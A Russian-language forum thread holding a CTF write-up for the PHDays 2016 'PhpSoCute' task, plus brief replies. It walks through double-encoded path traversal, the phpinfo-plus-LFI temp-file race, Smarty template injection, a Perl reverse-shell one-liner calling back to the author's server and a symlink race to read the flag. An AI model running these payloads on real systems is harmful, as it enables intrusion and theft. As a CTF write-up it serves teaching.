Antichat CTF Team Write-up PHDays 2016 PhpSoCute

Обсуждение в разделе «Задания/Квесты/CTF/Конкурсы», начал(-а) Isis, 20.04.2016.

  1. Isis

    Isis Мафиозя //хекед :D

    Регистрация:
    20.11.2006
    Сообщения:
    3 484
    Одобрения:
    1 193
    Репутация:
    241
    PhpSoCute

    http://php.hackquest.phdays.com:88/

    Дан какой-то бложек, с виду wordpress.
    Доступны урлы: index.php -> index.html, wp-admin.html

    Dirbuster нашел pi.php который показывает нам phpinfo.

    После некоторого фазинга было понятно, что есть некий include или даже читалка файлов для запросов которые оканчиваются на html

    http://php.hackquest.phdays.com:88/pi.php/1html
    Такой запрос нам показал интересный параметр PATH_TRANSLATED - redirect:/t3mp473l04d3r.php
    При обращении к этому файлу - 500 ошибка, видимо надо передавать какие-то гет параметры чтобы читать файлы, но это нам не нужно.

    Пробуем doubleencode (%2569 - i), сработало!
    Попробуем опуститься на директорию ниже ..%252f и проитать файл index.php -
    PHP:
    <?php
    @header("Location: index.html");
    ?>
    Удача!

    Читаем /etc/passwd
    PHP:
    root:x:0:0:root:/root:/bin/bash
    daemon
    :x:1:1:daemon:/usr/sbin:/bin/sh
    bin
    :x:2:2:bin:/bin:/bin/sh
    sys
    :x:3:3:sys:/dev:/bin/sh
    sync
    :x:4:65534:sync:/bin:/bin/sync
    games
    :x:5:60:games:/usr/games:/bin/sh
    man
    :x:6:12:man:/var/cache/man:/bin/sh
    lp
    :x:7:7:lp:/var/spool/lpd:/bin/sh
    mail
    :x:8:8:mail:/var/mail:/bin/sh
    news
    :x:9:9:news:/var/spool/news:/bin/sh
    uucp
    :x:10:10:uucp:/var/spool/uucp:/bin/sh
    proxy
    :x:13:13:proxy:/bin:/bin/sh
    www
    -data:x:33:33:www-data:/var/www:/bin/sh
    backup
    :x:34:34:backup:/var/backups:/bin/sh
    list:x:38:38:Mailing List Manager:/var/list:/bin/sh
    irc
    :x:39:39:ircd:/var/run/ircd:/bin/sh
    gnats
    :x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
    nobody
    :x:65534:65534:nobody:/nonexistent:/bin/sh
    libuuid
    :x:100:101::/var/lib/libuuid:/bin/sh
    flag
    :x:101:65534::/home/flag:/bin/false
    Прочитать файл t3mp473l04d3r.php по пока непонятным причинам не удалось.



    О, у нас есть phpinfo и lfi. так это же баг!
    Суть вот в чем: нам надо послать какой-то файл на pi.php, pi.php выдаст нам массив $_FILES где будет указан временный путь куда загрузился наш файл вида /tmp/ololo
    В это время нам надо проинклудить наш файл через lfi.
    Проблема 1: Загруженный файл в /tmp доступен 20-30 секунд пока мы держим открытым сокет, но этого достаточно чтобы выполнить инклуд.
    ПРоблема 2: Сайт работает на 2х нодах (2 разных виртуалки), т.е. файл мы можем загрузить в одну, а читать с другой. Решается реферешем страницы инклуда.

    Для загрузки файла я использовал перл скрипт от Pashkela, но немного подифицировал: https://gist.github.com/firsov/52a249ab1b8da4dc9d2c654971e83f1c
    Содержимое файла указывается в $phpcode, немного пофазил это значение и понял, что это template injection.

    Usage: perl php.pl http://php.hackquest.phdays.com:88/pi.php
    PHP:
    $phpcode '{var_dump(124)}';
    [​IMG]

    Не обращаем внимания на ошибки - просто копируем строку и вставляем в браузер.
    Смотрим view-souce и видим:
    Отлично! php код выполняется.

    Дальше я загнал перловый backconnect shell в base64
    PHP:
    perl -'use Socket;$i="127.0.0.MYSERVERIP";$p=4000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    И проинклудил такую строку:
    Тем временем на своем сервере у меня запущена команда nc -nlvkp 4000

    На сервере увидел коннект с уязвимого хоста и ура, шелл есть.

    [​IMG]

    ls -la /

    [​IMG]

    Здесь видно 2 файла от юзера flag: /binary и /flag
    Прочитать нельзя.
    Пробуем выполнить команду /binary flag - получаем ошибку.
    Что же делать? Попробуем сделать symlink race condition

    Запустим еще один терминал с этим сервером.

    [Дальше будет без скринов и команды по памяти т.к. сервера уже недоступны]

    В одном терминале запускаем /binary /tmp/lala в цикле
    В другом терминале в цикле rm /tmp/lala; ln -s /flag /tmp/lala; rm /tmp/lala; echo azaza > /tmp/lala;
    И получаем флаг.

    За помощь спасибо mailbrush, yarbabin.
     
  2. DarkCaT

    DarkCaT ~Some Member~

    Регистрация:
    14.03.2016
    Сообщения:
    29
    Одобрения:
    11
    Репутация:
    11
    ПРосто шедеврально)
     
  3. MERRON

    MERRON New Member

    Регистрация:
    10.05.2008
    Сообщения:
    9
    Одобрения:
    4
    Репутация:
    0
    Это было внезапно
     
    Это одобряют capuletti, Ruslan1993it и DarkCaT.
  4. Ch3ck

    Ch3ck Elder - Старейшина

    Регистрация:
    9.06.2006
    Сообщения:
    1 357
    Одобрения:
    972
    Репутация:
    430
    Понаехали тут...
     
    #4 Ch3ck, 20.04.2016
    В последний раз редактировалось: 20.04.2016
  5. Zen1T21

    Zen1T21 Member

    Регистрация:
    13.01.2013
    Сообщения:
    148
    Одобрения:
    27
    Репутация:
    2
    А кто-ниб из форумчан участвовал в прошедшем RuCTF?
     
  6. shell_c0de

    shell_c0de Hack All World

    Регистрация:
    7.07.2009
    Сообщения:
    1 082
    Одобрения:
    596
    Репутация:
    680
    Шикарно!
     
    _________________________
  7. оlbaneс

    оlbaneс Moderator

    Регистрация:
    5.11.2007
    Сообщения:
    1 420
    Одобрения:
    722
    Репутация:
    337
    Изя, а помнишь как в болталке тебя отаковали? Ну, когда ник еще желтым был? Ну и чего там в зеленом доле? Поди сиськи друг другу показываете?
     
    _________________________
    Это одобряет Isis.
  8. 23napster23

    23napster23 New Member

    Регистрация:
    30.11.2015
    Сообщения:
    9
    Одобрения:
    0
    Репутация:
    0
    А lfi заключается в том, что мы можем читать содержимое любого файла или файл добавляется, когда мы обращаемся к pi.php ?
    Это в каком файле вы обнаружили template inj. ?
     
    #8 23napster23, 23.04.2016
    В последний раз редактировалось: 23.04.2016
  9. Isis

    Isis Мафиозя //хекед :D

    Регистрация:
    20.11.2006
    Сообщения:
    3 484
    Одобрения:
    1 193
    Репутация:
    241
    t3mp473l04d3r.php
    там smarty->fetch вызывался
     
  10. Alexandr II

    Alexandr II -=ImperatoR=-

    Регистрация:
    28.12.2007
    Сообщения:
    1 190
    Одобрения:
    607
    Репутация:
    87
    в строй возвращаются старички ;)
    по теме +
     
  11. Taktik

    Taktik Member

    Регистрация:
    27.06.2008
    Сообщения:
    30
    Одобрения:
    10
    Репутация:
    5
    Учавствовал
     
  12. winstrool

    winstrool ~~*MasterBlind*~~

    Регистрация:
    6.03.2007
    Сообщения:
    1 409
    Одобрения:
    681
    Репутация:
    805
    Присутствовал, но не участвовал.... не был в команде....
     
    _________________________
Загрузка...
Similar Threads - Write PHDays PhpSoCute
  1. LittleBear
    Ответы:
    3
    Просмотры:
    1 701
  2. Isis
    Ответы:
    5
    Просмотры:
    5 366
  3. BigBear
    Ответы:
    2
    Просмотры:
    6 493
  4. BigBear
    Ответы:
    10
    Просмотры:
    9 937